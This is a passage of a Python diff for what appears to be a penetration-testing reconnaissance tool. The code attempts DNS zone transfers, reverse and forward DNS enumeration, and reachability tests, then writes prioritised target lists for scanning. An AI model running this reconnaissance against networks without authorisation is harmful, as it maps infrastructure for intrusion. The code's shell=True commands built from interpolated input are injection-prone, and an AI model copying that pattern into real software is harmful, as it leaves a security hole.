in line or '\tAAAA\t' in line: + parts = line.split() + if len(parts) >= 5: + hostname = parts[0].rstrip('.') + ip = parts[4] + zone_results['discovered_hosts'].add(ip) + if debug: + print(f"{Colors.OKGREEN} Found: {hostname} -> {ip}{Colors.ENDC}") + + print(f"{Colors.OKGREEN} โœ“ Zone transfer successful: {zone} from {dns_server}{Colors.ENDC}") + else: + zone_results['failed_transfers'].append(f"{dns_server}_{zone}") + + except subprocess.TimeoutExpired: + if debug: + print(f"{Colors.WARNING} Timeout: {zone} from {dns_server}{Colors.ENDC}") + except Exception as e: + if debug: + print(f"{Colors.WARNING} Error: {zone} from {dns_server} - {e}{Colors.ENDC}") + + success_count = len(zone_results['successful_transfers']) + host_count = len(zone_results['discovered_hosts']) + + if success_count > 0: + print(f"{Colors.OKGREEN} โ†’ {success_count} successful zone transfers, {host_count} hosts discovered{Colors.ENDC}") + else: + print(f"{Colors.WARNING} โ†’ No successful zone transfers (transfers likely disabled){Colors.ENDC}") + + return zone_results + +def perform_reverse_dns_sweeps(targets, dns_servers, debug=False, timeout=3): + """Perform SMART reverse DNS sampling - not brute force sweeps.""" + print(f"\n{Colors.OKBLUE}[*] Phase 3: Smart Reverse DNS Sampling{Colors.ENDC}") + + reverse_results = { + 'networks_with_dns': {}, + 'discovered_hosts': set(), + 'hostname_patterns': set(), + 'networks_with_no_dns': set() + } + + # Extract IP networks from targets + networks_to_sample = [] + for target in targets: + try: + if '/' in target: + network = ipaddress.ip_network(target, strict=False) + networks_to_sample.append(network) + else: + ip = ipaddress.ip_address(target) + if ip.version == 4: + network = ipaddress.ip_network(f"{ip}/24", strict=False) + networks_to_sample.append(network) + except ValueError: + continue + + total_networks = len(networks_to_sample) + print(f"{Colors.OKCYAN} Smart sampling {total_networks} networks (not brute forcing){Colors.ENDC}") + + network_counter = 0 + for network in networks_to_sample: + network_counter += 1 + print(f"{Colors.OKCYAN} [{network_counter}/{total_networks}] Sampling network: {network}...{Colors.ENDC}", end=' ') + + # SMART SAMPLING: Only test a few strategic IPs per network + all_hosts = list(network.hosts()) + if len(all_hosts) == 0: + print(f"{Colors.WARNING}No hosts{Colors.ENDC}") + continue + + # Sample strategy: Test 5-8 strategic IPs to determine if reverse DNS exists + sample_ips = [] + + # Always test first few IPs (common for infrastructure) + sample_ips.extend(all_hosts[:3]) + + # Test some IPs from the middle + if len(all_hosts) > 10: + mid_point = len(all_hosts) // 2 + sample_ips.extend(all_hosts[mid_point:mid_point+2]) + + # Test last few IPs + if len(all_hosts) > 5: + sample_ips.extend(all_hosts[-2:]) + + # Remove duplicates and limit to max 8 samples + sample_ips = list(dict.fromkeys(sample_ips))[:8] + + # Test samples quickly + network_has_reverse_dns = False + found_hosts = [] + + with ThreadPoolExecutor(max_workers=8) as executor: + future_to_ip = { + executor.submit(reverse_dns_lookup, str(ip), dns_servers[0] if dns_servers else '8.8.8.8', timeout): str(ip) + for ip in sample_ips + } + + for future in as_completed(future_to_ip): + ip = future_to_ip[future] + try: + hostname = future.result() + if hostname: + network_has_reverse_dns = True + found_hosts.append((ip, hostname)) + reverse_results['discovered_hosts'].add(ip) + reverse_results['hostname_patterns'].add(hostname) + + if debug: + print(f"\n{Colors.OKGREEN} {ip} -> {hostname}{Colors.ENDC}") + + except Exception: + pass + + if network_has_reverse_dns: + reverse_results['networks_with_dns'][str(network)] = found_hosts + print(f"{Colors.OKGREEN}โœ“ HAS REVERSE DNS ({len(found_hosts)} found){Colors.ENDC}") + + # If we found reverse DNS in samples, it's worth checking a few more strategic IPs + if len(found_hosts) >= 2: + print(f"{Colors.OKCYAN} Network appears to use reverse DNS - checking key infrastructure IPs...{Colors.ENDC}") + + # Check common infrastructure IPs that might have DNS + key_infrastructure_ips = [] + base_octets = str(network.network_address).split('.') + + # Common server/infrastructure IPs + common_endings = [1, 2, 10, 25, 53, 100, 200, 250, 254] + for ending in common_endings: + try: + potential_ip = f"{base_octets[0]}.{base_octets[1]}.{base_octets[2]}.{ending}" + if ipaddress.ip_address(potential_ip) in network: + key_infrastructure_ips.append(potential_ip) + except ValueError: + pass + + # Test infrastructure IPs (max 10) + with ThreadPoolExecutor(max_workers=10) as executor: + infra_futures = { + executor.submit(reverse_dns_lookup, ip, dns_servers[0] if dns_servers else '8.8.8.8', timeout): ip + for ip in key_infrastructure_ips[:10] + } + + for future in as_completed(infra_futures): + ip = infra_futures[future] + try: + hostname = future.result() + if hostname and ip not in [h[0] for h in found_hosts]: + found_hosts.append((ip, hostname)) + reverse_results['discovered_hosts'].add(ip) + reverse_results['hostname_patterns'].add(hostname) + if debug: + print(f"{Colors.OKGREEN} Infrastructure: {ip} -> {hostname}{Colors.ENDC}") + except Exception: + pass + + reverse_results['networks_with_dns'][str(network)] = found_hosts + else: + reverse_results['networks_with_no_dns'].add(str(network)) + print(f"{Colors.FAIL}โœ— No reverse DNS{Colors.ENDC}") + + # Show progress + remaining = total_networks - network_counter + if remaining > 0 and network_counter % 5 == 0: # Show progress every 5 networks + print(f"{Colors.OKBLUE} Progress: {network_counter}/{total_networks} networks completed ({remaining} remaining){Colors.ENDC}") + + total_hosts = len(reverse_results['discovered_hosts']) + networks_with_dns = len(reverse_results['networks_with_dns']) + networks_without_dns = len(reverse_results['networks_with_no_dns']) + + print(f"{Colors.OKGREEN} โ†’ {total_hosts} hosts with reverse DNS across {networks_with_dns} networks{Colors.ENDC}") + print(f"{Colors.OKCYAN} โ†’ {networks_without_dns} networks have no reverse DNS configured{Colors.ENDC}") + + return reverse_results + +def analyze_network_infrastructure(targets, debug=False): + """Analyze targets and identify key network infrastructure to test.""" + infrastructure = { + 'subnets': {}, # Use 'subnets' consistently + 'individual_hosts': [], + 'dns_servers': set(), + 'analysis_summary': {}, + 'total_original_targets': 0 + } + + print(f"{Colors.OKGREEN}[+] Analyzing Target Infrastructure{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Processing {len(targets)} targets to identify network segments...{Colors.ENDC}") + + # Count original targets for reduction metrics + total_original = 0 + for target in targets: + try: + if '/' in target: + network = ipaddress.ip_network(target, strict=False) + total_original += network.num_addresses - 2 + else: + total_original += 1 + except ValueError: + total_original += 1 + + infrastructure['total_original_targets'] = total_original + print(f"{Colors.OKBLUE}[*] Original scope: ~{total_original:,} potential targets{Colors.ENDC}") + + subnet_count = 0 + + for target in targets: + try: + ip_obj = ipaddress.ip_address(target) + + if ip_obj.is_private: + octets = str(ip_obj).split('.') + + if octets[0] == '10': + subnet_key = f"{octets[0]}.{octets[1]}.0.0/16" + elif octets[0] == '172' and 16 <= int(octets[1]) <= 31: + subnet_key = f"{octets[0]}.{octets[1]}.0.0/16" + elif octets[0] == '192' and octets[1] == '168': + subnet_key = f"{octets[0]}.{octets[1]}.{octets[2]}.0/24" + else: + subnet_key = f"{octets[0]}.{octets[1]}.{octets[2]}.0/24" + else: + subnet_key = f"public_{str(ip_obj)}" + + if subnet_key not in infrastructure['subnets']: + subnet_count += 1 + infrastructure['subnets'][subnet_key] = { + 'network': subnet_key, + 'targets': [], + 'sample_targets': [], + 'key_infrastructure': [], + 'subnet_id': subnet_count + } + + try: + network = ipaddress.ip_network(subnet_key, strict=False) + if network.is_private and network.num_addresses > 2: + base_ip = str(network.network_address).split('.') + key_ips = [ + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.1", + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.254", + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.10", + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.53", + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.100", + ] + + for key_ip in key_ips: + try: + if ipaddress.ip_address(key_ip) in network: + infrastructure['subnets'][subnet_key]['key_infrastructure'].append(key_ip) + except ValueError: + pass + except ValueError: + pass + + infrastructure['subnets'][subnet_key]['targets'].append(str(ip_obj)) + + except ValueError: + if '/' in target: + try: + network = ipaddress.ip_network(target, strict=False) + subnet_key = str(network) + + if subnet_key not in infrastructure['subnets']: + subnet_count += 1 + infrastructure['subnets'][subnet_key] = { + 'network': subnet_key, + 'targets': [], + 'sample_targets': [], + 'key_infrastructure': [], + 'subnet_id': subnet_count, + 'is_full_network': True + } + + all_hosts = list(network.hosts()) + if len(all_hosts) > 50: + sample_hosts = all_hosts[:10] + all_hosts[-10:] + all_hosts[len(all_hosts)//2:len(all_hosts)//2+10] + infrastructure['subnets'][subnet_key]['targets'] = [str(h) for h in sample_hosts[:30]] + else: + infrastructure['subnets'][subnet_key]['targets'] = [str(h) for h in all_hosts] + + except ValueError: + infrastructure['individual_hosts'].append(target) + else: + infrastructure['individual_hosts'].append(target) + + # Generate sample targets for each subnet + for subnet_key, subnet_data in infrastructure['subnets'].items(): + targets_in_subnet = subnet_data['targets'] + + if len(targets_in_subnet) <= 5: + subnet_data['sample_targets'] = targets_in_subnet.copy() + else: + sample_size = min(8, max(3, len(targets_in_subnet) // 20)) + + samples = [] + samples.append(targets_in_subnet[0]) + if len(targets_in_subnet) > 1: + samples.append(targets_in_subnet[-1]) + + remaining = sample_size - len(samples) + if remaining > 0 and len(targets_in_subnet) > 2: + step = len(targets_in_subnet) // (remaining + 1) + for i in range(remaining): + idx = (i + 1) * step + if idx < len(targets_in_subnet): + samples.append(targets_in_subnet[idx]) + + subnet_data['sample_targets'] = list(set(samples)) + + subnet_data['sample_targets'].extend(subnet_data['key_infrastructure']) + subnet_data['sample_targets'] = list(set(subnet_data['sample_targets'])) + + # Discover system DNS servers + try: + with open('/etc/resolv.conf', 'r') as f: + for line in f: + if line.startswith('nameserver'): + dns_ip = line.split()[1] + try: + ipaddress.ip_address(dns_ip) + infrastructure['dns_servers'].add(dns_ip) + except ValueError: + pass + except FileNotFoundError: + pass + + if not infrastructure['dns_servers']: + infrastructure['dns_servers'].update(['8.8.8.8', '1.1.1.1']) + + # Generate summary + infrastructure['analysis_summary'] = { + 'total_subnets': len(infrastructure['subnets']), + 'total_targets': sum(len(e['targets']) for e in infrastructure['subnets'].values()), + 'total_samples': sum(len(e['sample_targets']) for e in infrastructure['subnets'].values()), + 'individual_hosts': len(infrastructure['individual_hosts']), + 'dns_servers': len(infrastructure['dns_servers']) + } + + print(f"{Colors.OKGREEN}[+] Infrastructure Analysis Complete{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Identified {len(infrastructure['subnets'])} network subnets:{Colors.ENDC}") + + for subnet_key, subnet_data in infrastructure['subnets'].items(): + subnet_id = subnet_data['subnet_id'] + target_count = len(subnet_data['targets']) + sample_count = len(subnet_data['sample_targets']) + + print(f"{Colors.OKCYAN} [{subnet_id}] {subnet_key}: {target_count} targets โ†’ {sample_count} samples{Colors.ENDC}") + + if debug: + print(f"{Colors.OKCYAN} Sample IPs: {', '.join(subnet_data['sample_targets'][:5])}{'...' if len(subnet_data['sample_targets']) > 5 else ''}{Colors.ENDC}") + + if infrastructure['individual_hosts']: + print(f"{Colors.OKCYAN} Individual hosts: {len(infrastructure['individual_hosts'])}{Colors.ENDC}") + + print(f"{Colors.OKBLUE}[*] Total testing targets: {infrastructure['analysis_summary']['total_samples']} (vs {infrastructure['analysis_summary']['total_targets']} original){Colors.ENDC}") + + return infrastructure + +def perform_forward_dns_enumeration(targets, dns_servers, debug=False, timeout=3): + """Perform forward DNS enumeration using common hostname patterns.""" + print(f"\n{Colors.OKBLUE}[*] Phase 4: Forward DNS Enumeration{Colors.ENDC}") + + forward_results = { + 'discovered_hosts': set(), + 'successful_queries': {}, + 'domain_patterns': set() + } + + # Common hostname patterns for internal networks + common_hostnames = [ + 'dc', 'dc1', 'dc2', 'dc01', 'dc02', 'domain', 'ad', 'ldap', + 'dns', 'dns1', 'dns2', 'ns', 'ns1', 'ns2', + 'mail', 'exchange', 'smtp', 'pop', 'imap', + 'web', 'www', 'intranet', 'portal', 'sharepoint', + 'db', 'database', 'sql', 'mysql', 'oracle', + 'file', 'files', 'fs', 'nas', 'share', 'fileserver', + 'backup', 'bkp', 'archive', + 'fw', 'firewall', 'gw', 'gateway', 'router', + 'monitor', 'nagios', 'zabbix', 'snmp', + 'print', 'printer', 'cups', + 'vm', 'vmware', 'vcenter', 'esxi', + 'admin', 'mgmt', 'management', 'console' + ] + + # Extract potential domains from any hostname patterns we found + potential_domains = set(['local', 'internal', 'corp', 'domain', 'ad']) + + # If we have DNS servers, try to extract domain from their configuration + for dns_server in dns_servers[:3]: + try: + # Try to get the DNS server's domain + cmd = f"dig @{dns_server} . NS +short +time=3" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5) + if result.returncode == 0: + for line in result.stdout.strip().split('\n'): + if '.' in line: + domain_parts = line.strip('.').split('.') + if len(domain_parts) >= 2: + potential_domains.add('.'.join(domain_parts[-2:])) + except: + pass + + print(f"{Colors.OKCYAN} Testing {len(common_hostnames)} hostnames across {len(potential_domains)} domains...{Colors.ENDC}") + + queries_to_test = [] + for domain in potential_domains: + for hostname in common_hostnames: + fqdn = f"{hostname}.{domain}" + queries_to_test.append(fqdn) + + # Limit total queries to reasonable number + if len(queries_to_test) > 200: + queries_to_test = queries_to_test[:200] + + with ThreadPoolExecutor(max_workers=20) as executor: + future_to_query = { + executor.submit(forward_dns_lookup, query, dns_servers[0] if dns_servers else '8.8.8.8', timeout): query + for query in queries_to_test + } + + successful_count = 0 + for future in as_completed(future_to_query): + query = future_to_query[future] + try: + ip = future.result() + if ip: + forward_results['discovered_hosts'].add(ip) + forward_results['successful_queries'][query] = ip + forward_results['domain_patterns'].add(query.split('.', 1)[1]) + successful_count += 1 + + if debug: + print(f"{Colors.OKGREEN} {query} -> {ip}{Colors.ENDC}") + + except Exception: + pass + + print(f"{Colors.OKGREEN} โ†’ {successful_count} successful DNS queries, {len(forward_results['discovered_hosts'])} unique hosts{Colors.ENDC}") + + return forward_results + +def reverse_dns_lookup(ip, dns_server, timeout=3): + """Perform reverse DNS lookup for an IP address.""" + try: + cmd = f"dig @{dns_server} -x {ip} +short +time={timeout}" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout+1) + + if result.returncode == 0 and result.stdout.strip(): + hostname = result.stdout.strip().split('\n')[0].rstrip('.') + if hostname and not hostname.startswith(';'): + return hostname + except: + pass + + return None + +def forward_dns_lookup(hostname, dns_server, timeout=3): + """Perform forward DNS lookup for a hostname.""" + try: + cmd = f"dig @{dns_server} {hostname} A +short +time={timeout}" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout+1) + + if result.returncode == 0 and result.stdout.strip(): + ip = result.stdout.strip().split('\n')[0] + # Validate it's actually an IP + try: + ipaddress.ip_address(ip) + return ip + except ValueError: + pass + except: + pass + + return None + +def compile_dns_intelligence(zone_results, reverse_results, forward_results, debug=False): + """Compile all DNS intelligence into actionable target list.""" + print(f"\n{Colors.OKBLUE}[*] Phase 5: Compiling DNS Intelligence{Colors.ENDC}") + + intelligence = { + 'high_value_targets': set(), # Hosts from DNS that likely exist + 'medium_value_targets': set(), # Hosts from patterns/inference + 'discovered_domains': set(), + 'dns_summary': {}, + 'recommendations': [] + } + + # Compile all discovered hosts + all_discovered_hosts = set() + + # Zone transfer results (highest confidence) + if zone_results['discovered_hosts']: + all_discovered_hosts.update(zone_results['discovered_hosts']) + intelligence['high_value_targets'].update(zone_results['discovered_hosts']) + intelligence['recommendations'].append(f"Zone transfers revealed {len(zone_results['discovered_hosts'])} hosts") + + # Reverse DNS results (high confidence - these hosts have DNS records) + if reverse_results['discovered_hosts']: + all_discovered_hosts.update(reverse_results['discovered_hosts']) + intelligence['high_value_targets'].update(reverse_results['discovered_hosts']) + intelligence['recommendations'].append(f"Reverse DNS found {len(reverse_results['discovered_hosts'])} hosts") + + # Forward DNS results (high confidence - these hosts resolve) + if forward_results['discovered_hosts']: + all_discovered_hosts.update(forward_results['discovered_hosts']) + intelligence['high_value_targets'].update(forward_results['discovered_hosts']) + intelligence['recommendations'].append(f"Forward DNS enumeration found {len(forward_results['discovered_hosts'])} hosts") + + # Compile discovered domains + intelligence['discovered_domains'].update(zone_results['discovered_domains']) + intelligence['discovered_domains'].update(forward_results['domain_patterns']) + + # Generate summary + intelligence['dns_summary'] = { + 'total_discovered_hosts': len(all_discovered_hosts), + 'zone_transfer_hosts': len(zone_results['discovered_hosts']), + 'reverse_dns_hosts': len(reverse_results['discovered_hosts']), + 'forward_dns_hosts': len(forward_results['discovered_hosts']), + 'discovered_domains': len(intelligence['discovered_domains']), + 'successful_zone_transfers': len(zone_results['successful_transfers']) + } + + print(f"{Colors.OKGREEN}[+] DNS Intelligence Summary:{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Total hosts discovered via DNS: {len(all_discovered_hosts)}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] High-value targets (DNS confirmed): {len(intelligence['high_value_targets'])}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Domains discovered: {len(intelligence['discovered_domains'])}{Colors.ENDC}") + + if len(all_discovered_hosts) > 0: + intelligence['recommendations'].append("Focus initial scanning on DNS-discovered hosts") + print(f"{Colors.OKGREEN}[+] Recommendation: Prioritize the {len(all_discovered_hosts)} DNS-confirmed targets{Colors.ENDC}") + else: + intelligence['recommendations'].append("No DNS intelligence gathered - proceed with standard reachability testing") + print(f"{Colors.WARNING}[!] No hosts discovered via DNS - proceeding with connectivity testing{Colors.ENDC}") + + return intelligence + +def generate_dns_intelligence_reports(intelligence, dns_dir, timestamp, total_time): + """Generate DNS intelligence reports.""" + + # Main DNS targets file + dns_targets_file = os.path.join(dns_dir, f"dns_discovered_targets_{timestamp}.txt") + with open(dns_targets_file, 'w') as f: + f.write(f"# DNS Intelligence Gathering Results\n") + f.write(f"# Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"# Duration: {total_time:.2f} seconds\n") + f.write(f"# Total DNS-confirmed targets: {len(intelligence['high_value_targets'])}\n\n") + + for target in sorted(intelligence['high_value_targets'], + key=lambda x: ipaddress.ip_address(x) if x.replace('.','').isdigit() else x): + f.write(f"{target}\n") + + # Detailed intelligence report + intel_report = os.path.join(dns_dir, f"dns_intelligence_report_{timestamp}.txt") + with open(intel_report, 'w') as f: + f.write("=" * 70 + "\n") + f.write("DNS INTELLIGENCE GATHERING REPORT\n") + f.write("=" * 70 + "\n\n") + f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Duration: {total_time:.2f} seconds\n\n") + + summary = intelligence['dns_summary'] + f.write("DISCOVERY SUMMARY:\n") + f.write("-" * 17 + "\n") + f.write(f"Total Hosts Discovered: {summary['total_discovered_hosts']}\n") + f.write(f"Zone Transfer Hosts: {summary['zone_transfer_hosts']}\n") + f.write(f"Reverse DNS Hosts: {summary['reverse_dns_hosts']}\n") + f.write(f"Forward DNS Hosts: {summary['forward_dns_hosts']}\n") + f.write(f"Domains Discovered: {summary['discovered_domains']}\n") + f.write(f"Successful Zone Transfers: {summary['successful_zone_transfers']}\n\n") + + f.write("RECOMMENDATIONS:\n") + f.write("-" * 15 + "\n") + for rec in intelligence['recommendations']: + f.write(f"โ€ข {rec}\n") + + print(f"{Colors.OKBLUE}[*] DNS targets file: {dns_targets_file}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Intelligence report: {intel_report}{Colors.ENDC}") + +def run_smart_network_reachability_test(targets, base_dir=None, standalone=False, debug=False, + threads=None, timeout=None): + """Run comprehensive reachability assessment: DNS intelligence + connectivity testing.""" + + test_timeout = timeout if timeout is not None else REACHABILITY_TIMEOUT + + if base_dir: + reachability_dir = os.path.join(base_dir, "scans", "reachability") + os.makedirs(reachability_dir, exist_ok=True) + else: + reachability_dir = "./reachability_results" + os.makedirs(reachability_dir, exist_ok=True) + + print(f"{Colors.OKGREEN}[+] Comprehensive Network Reachability Assessment{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Strategy: DNS intelligence + connectivity testing for maximum coverage{Colors.ENDC}") + + start_time = time.time() + + # Phase 1: DNS Intelligence Gathering + print(f"\n{Colors.OKGREEN}=== PHASE 1: DNS INTELLIGENCE GATHERING ==={Colors.ENDC}") + dns_intelligence = run_dns_intelligence_gathering(targets, base_dir, debug, test_timeout) + + # Phase 2: Infrastructure Analysis and Connectivity Testing + print(f"\n{Colors.OKGREEN}=== PHASE 2: NETWORK CONNECTIVITY TESTING ==={Colors.ENDC}") + infrastructure = analyze_network_infrastructure(targets, debug) + subnet_results = test_subnet_reachability(infrastructure, debug, test_timeout) + connectivity_targets, decision_log = generate_conservative_target_list(infrastructure, subnet_results, debug) + + # Phase 3: Combine and Validate Results + print(f"\n{Colors.OKGREEN}=== PHASE 3: RESULTS INTEGRATION ==={Colors.ENDC}") + final_results = integrate_dns_and_connectivity_results( + dns_intelligence, connectivity_targets, debug, test_timeout + ) + + total_time = time.time() - start_time + timestamp = time.strftime("%Y%m%d_%H%M%S") + + # Generate comprehensive reports + return generate_comprehensive_reachability_reports( + final_results, dns_intelligence, infrastructure, subnet_results, + decision_log, reachability_dir, timestamp, total_time, standalone, debug + ) + +def integrate_dns_and_connectivity_results(dns_intelligence, connectivity_targets, debug=False, timeout=3): + """Integrate DNS intelligence with connectivity test results.""" + print(f"{Colors.OKBLUE}[*] Integrating DNS intelligence with connectivity results...{Colors.ENDC}") + + results = { + 'dns_confirmed': list(dns_intelligence['high_value_targets']), + 'connectivity_confirmed': connectivity_targets, + 'validated_targets': [], # DNS targets that also pass connectivity + 'dns_only_targets': [], # DNS targets that don't respond to connectivity + 'connectivity_only_targets': [], # Connectivity targets not in DNS + 'final_target_list': [], + 'validation_summary': {} + } + + dns_targets = set(dns_intelligence['high_value_targets']) + conn_targets = set(connectivity_targets) + + # Find overlaps and differences + overlap_targets = dns_targets.intersection(conn_targets) + dns_only = dns_targets - conn_targets + connectivity_only = conn_targets - dns_targets + + print(f"{Colors.OKCYAN} DNS-discovered targets: {len(dns_targets)}{Colors.ENDC}") + print(f"{Colors.OKCYAN} Connectivity-confirmed targets: {len(conn_targets)}{Colors.ENDC}") + print(f"{Colors.OKCYAN} Overlap (DNS + connectivity): {len(overlap_targets)}{Colors.ENDC}") + print(f"{Colors.OKCYAN} DNS-only targets: {len(dns_only)}{Colors.ENDC}") + print(f"{Colors.OKCYAN} Connectivity-only targets: {len(connectivity_only)}{Colors.ENDC}") + + # Validate DNS-only targets with quick connectivity test + if dns_only: + print(f"{Colors.OKBLUE}[*] Validating {len(dns_only)} DNS-only targets...{Colors.ENDC}") + + with ThreadPoolExecutor(max_workers=20) as executor: + future_to_target = { + executor.submit(test_basic_connectivity, target, timeout): target + for target in dns_only + } + + validated_count = 0 + for future in as_completed(future_to_target): + target = future_to_target[future] + try: + is_reachable = future.result() + if is_reachable: + results['validated_targets'].append(target) + validated_count += 1 + if debug: + print(f"{Colors.OKGREEN} โœ“ {target} (DNS + validated){Colors.ENDC}") + else: + results['dns_only_targets'].append(target) + if debug: + print(f"{Colors.WARNING} - {target} (DNS only, no connectivity){Colors.ENDC}") + except Exception: + results['dns_only_targets'].append(target) + + print(f"{Colors.OKGREEN} โ†’ {validated_count}/{len(dns_only)} DNS targets validated via connectivity{Colors.ENDC}") + + # Build final target list with prioritization + results['connectivity_confirmed'] = list(conn_targets) + results['connectivity_only_targets'] = list(connectivity_only) + + # Priority order for final list: + # 1. Overlap targets (DNS + connectivity confirmed) - HIGHEST priority + # 2. Validated DNS targets (DNS + newly validated) - HIGH priority + # 3. Connectivity-only targets - MEDIUM priority + # 4. DNS-only targets (DNS but no connectivity) - LOW priority + + final_targets = [] + + # Add overlap targets (highest confidence) + final_targets.extend(sorted(overlap_targets)) + + # Add validated DNS targets + final_targets.extend(sorted(results['validated_targets'])) + + # Add connectivity-only targets + final_targets.extend(sorted(connectivity_only)) + + # Add DNS-only targets (might be offline but worth trying) + final_targets.extend(sorted(results['dns_only_targets'])) + + results['final_target_list'] = final_targets + + # Generate summary + results['validation_summary'] = { + 'total_unique_targets': len(final_targets), + 'dns_discovered': len(dns_targets), + 'connectivity_confirmed': len(conn_targets), + 'high_confidence': len(overlap_targets) + len(results['validated_targets']), + 'medium_confidence': len(connectivity_only), + 'low_confidence': len(results['dns_only_targets']), + 'coverage_improvement': len(final_targets) - max(len(dns_targets), len(conn_targets)) + } + + print(f"\n{Colors.OKGREEN}[+] Integration Complete:{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Final target list: {len(final_targets)} unique targets{Colors.ENDC}") + print(f"{Colors.OKGREEN}[*] High confidence: {results['validation_summary']['high_confidence']} targets (DNS + connectivity){Colors.ENDC}") + print(f"{Colors.WARNING}[*] Medium confidence: {results['validation_summary']['medium_confidence']} targets (connectivity only){Colors.ENDC}") + print(f"{Colors.OKCYAN}[*] Low confidence: {results['validation_summary']['low_confidence']} targets (DNS only){Colors.ENDC}") + + coverage_improvement = results['validation_summary']['coverage_improvement'] + if coverage_improvement > 0: + print(f"{Colors.OKGREEN}[+] Combined approach found {coverage_improvement} additional targets vs single method{Colors.ENDC}") + + return results + +def generate_comprehensive_reachability_reports(final_results, dns_intelligence, infrastructure, + subnet_results, decision_log, reachability_dir, + timestamp, total_time, standalone, debug): + """Generate comprehensive reports combining DNS and connectivity intelligence.""" + + final_targets = final_results['final_target_list'] + + # 1. Main reachable targets file (prioritized) + reachable_file = os.path.join(reachability_dir, f"reachable_targets_{timestamp}.txt") + with open(reachable_file, 'w') as f: + f.write(f"# Comprehensive Network Reachability Assessment Results\n") + f.write(f"# Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"# Assessment Duration: {total_time:.2f} seconds\n") + f.write(f"# Method: DNS Intelligence + Connectivity Testing\n") + f.write(f"# Total Targets: {len(final_targets)}\n") + f.write(f"# High Confidence: {final_results['validation_summary']['high_confidence']}\n") + f.write(f"# Medium Confidence: {final_results['validation_summary']['medium_confidence']}\n") + f.write(f"# Low Confidence: {final_results['validation_summary']['low_confidence']}\n\n") + f.write(f"# Target Priority Order:\n") + f.write(f"# 1. DNS + Connectivity confirmed (lines 1-{len(final_results['validated_targets']) + len(set(final_results['dns_confirmed']).intersection(set(final_results['connectivity_confirmed'])))})\n") + f.write(f"# 2. Connectivity-only confirmed\n") + f.write(f"# 3. DNS-only targets\n\n") + + for target in final_targets: + f.write(f"{target}\n") + + # 2. High confidence targets only + high_confidence_file = os.path.join(reachability_dir, f"high_confidence_targets_{timestamp}.txt") + high_conf_targets = (set(final_results['dns_confirmed']).intersection(set(final_results['connectivity_confirmed'])) | + set(final_results['validated_targets'])) + + with open(high_confidence_file, 'w') as f: + f.write(f"# High Confidence Targets Only (DNS + Connectivity Confirmed)\n") + f.write(f"# Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"# Count: {len(high_conf_targets)}\n\n") + for target in sorted(high_conf_targets): + f.write(f"{target}\n") + + # 3. Comprehensive assessment report + assessment_report = os.path.join(reachability_dir, f"comprehensive_assessment_{timestamp}.txt") + with open(assessment_report, 'w') as f: + f.write("=" * 80 + "\n") + f.write("COMPREHENSIVE NETWORK REACHABILITY ASSESSMENT\n") + f.write("=" * 80 + "\n\n") + f.write(f"Assessment Date: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Total Duration: {total_time:.2f} seconds\n") + f.write(f"Assessment Method: DNS Intelligence + Network Connectivity Testing\n\n") + + f.write("METHODOLOGY:\n") + f.write("-" * 12 + "\n") + f.write("1. DNS Intelligence Gathering:\n") + f.write(" - Zone transfer attempts\n") + f.write(" - Reverse DNS sweeps\n") + f.write(" - Forward DNS enumeration\n") + f.write("2. Network Connectivity Testing:\n") + f.write(" - Subnet-based reachability\n") + f.write(" - Infrastructure validation\n") + f.write("3. Results Integration and Validation\n\n") + + f.write("DNS INTELLIGENCE RESULTS:\n") + f.write("-" * 25 + "\n") + dns_summary = dns_intelligence['dns_summary'] + f.write(f"Total DNS-discovered hosts: {dns_summary['total_discovered_hosts']}\n") + f.write(f"Zone transfer hosts: {dns_summary['zone_transfer_hosts']}\n") + f.write(f"Reverse DNS hosts: {dns_summary['reverse_dns_hosts']}\n") + f.write(f"Forward DNS hosts: {dns_summary['forward_dns_hosts']}\n") + f.write(f"Discovered domains: {dns_summary['discovered_domains']}\n\n") + + f.write("CONNECTIVITY TESTING RESULTS:\n") + f.write("-" * 29 + "\n") + f.write(f"Reachable subnets: {len(subnet_results['reachable_subnets'])}\n") + f.write(f"Unreachable subnets: {len(subnet_results['unreachable_subnets'])}\n") + f.write(f"Connectivity-confirmed targets: {len(final_results['connectivity_confirmed'])}\n\n") + + f.write("FINAL ASSESSMENT SUMMARY:\n") + f.write("-" * 25 + "\n") + summary = final_results['validation_summary'] + f.write(f"Total Unique Targets: {summary['total_unique_targets']}\n") + f.write(f"High Confidence (DNS + Connectivity): {summary['high_confidence']}\n") + f.write(f"Medium Confidence (Connectivity only): {summary['medium_confidence']}\n") + f.write(f"Low Confidence (DNS only): {summary['low_confidence']}\n") + f.write(f"Coverage Improvement: +{summary['coverage_improvement']} targets vs single method\n\n") + + f.write("RECOMMENDATIONS:\n") + f.write("-" * 15 + "\n") + f.write("1. Prioritize high-confidence targets for initial scanning\n") + f.write("2. Use medium-confidence targets for comprehensive coverage\n") + f.write("3. Test low-confidence targets last (may be offline)\n") + if dns_summary['zone_transfer_hosts'] > 0: + f.write("4. Zone transfers were successful - high intelligence value\n") + if summary['coverage_improvement'] > 0: + f.write(f"5. Combined approach provided {summary['coverage_improvement']} additional targets\n") + + # Print final summary + print(f"\n{Colors.OKGREEN}{'='*70}{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Comprehensive Network Reachability Assessment Complete!{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Assessment Duration: {total_time:.2f} 